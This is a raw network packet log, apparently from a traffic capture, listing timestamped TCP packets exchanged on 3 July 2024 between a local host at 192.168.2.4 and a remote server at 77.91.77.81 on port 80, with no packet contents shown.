Jul 3, 2024 23:59:14.207806110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.207812071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.210222006 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.236500025 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236505032 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236510038 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236732960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236737967 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236743927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236747980 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236757994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236763000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236768961 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236795902 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.236797094 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.236814022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236820936 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236851931 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.236881971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236887932 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.236917973 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.238096952 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.262451887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262484074 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262487888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262522936 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262527943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262531996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262537003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262630939 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262665033 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.262686968 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262721062 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262748003 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.262753010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262758970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262763977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262816906 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.262816906 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.262902975 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262907982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.262917995 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.265918016 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.294889927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294894934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294903994 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294962883 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.294972897 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294977903 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294982910 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.294987917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295167923 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295172930 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295181990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295186996 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295191050 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295196056 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295200109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295202017 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295232058 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295232058 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295365095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295397043 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295423031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295428991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295545101 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295550108 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295558929 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295562983 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295572042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295579910 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295618057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295618057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295797110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295802116 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295805931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295809984 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295819044 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295824051 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295829058 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.295839071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295856953 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.295907021 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297132969 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297138929 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297147989 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297203064 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297224045 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297230005 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297282934 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297286034 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297288895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297424078 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297429085 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297437906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297441959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297451019 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297456980 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297458887 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297487974 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297602892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297607899 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.297636986 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297969103 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.297991991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298008919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298013926 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298125982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298130989 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298135042 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298141003 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298152924 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298240900 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298250914 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298273087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298326015 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298331022 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298332930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298342943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298414946 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298454046 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298458099 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298469067 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298573971 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298578024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298588037 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298613071 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298702955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298708916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298722982 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298727036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298731089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298734903 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298736095 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298741102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298757076 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298769951 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298769951 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.298978090 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.298983097 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299014091 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.299163103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299168110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299177885 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299182892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299186945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299191952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299196959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299196959 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.299201965 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299211979 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299216986 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299231052 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.299231052 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.299523115 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299527884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299537897 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299542904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299547911 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299552917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.299557924 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.299616098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.301904917 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.326395988 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326401949 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326406956 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326462030 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.326575041 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326580048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326590061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326595068 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326631069 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326634884 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326643944 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326649904 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326668978 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.326750040 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326809883 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.326833010 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326838970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.326868057 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.330004930 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.352771997 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.352778912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.352788925 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.352873087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.353063107 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353068113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353077888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353082895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353087902 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353097916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353102922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353106976 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353116035 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353121042 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.353130102 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353135109 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.353153944 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.353387117 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.386517048 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386524916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386535883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386611938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386616945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386622906 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386629105 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386646986 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.386832952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386837959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386848927 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386854887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386859894 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386863947 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386869907 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386872053 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.386876106 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386883020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.386884928 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.386913061 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.386913061 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387245893 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387252092 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387263060 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387267113 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387276888 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387281895 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387283087 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387286901 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387293100 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387299061 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387303114 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387305975 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387305975 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387310028 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387327909 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387650013 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387655020 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387665987 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387691021 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387757063 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387763023 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387773991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387785912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387793064 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387823105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.387959957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387965918 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387975931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387981892 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387985945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387996912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.387998104 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388001919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388029099 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388173103 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388179064 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388201952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388206959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388206959 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388237953 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388345957 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388351917 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388361931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388366938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388371944 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.388380051 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388415098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.388415098 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.389678955 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389684916 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389695883 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389702082 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389751911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.389751911 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.389935970 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389941931 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389991999 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.389997959 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390125036 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390130043 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390144110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390151024 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390156031 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390157938 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390162945 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390173912 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390178919 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390178919 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390211105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390211105 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390213966 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390239954 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390598059 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390603065 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390609026 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390614033 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390625000 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390626907 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390630960 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390641928 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390646935 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390651941 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390656948 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390662909 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390662909 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390662909 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390669107 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390681028 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390714884 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390714884 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.390975952 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390981913 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390993118 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.390997887 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.392606974 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.416420937 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416428089 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416443110 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416446924 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416456938 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416460991 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416466951 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416585922 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416590929 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416600943 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416615963 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.416620016 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416625977 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.416655064 CEST	49732	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:14.417407990 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.417413950 CEST	80	49732	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:14.417443991 CEST	49732	80	192.168.2.4	77.91.77.81
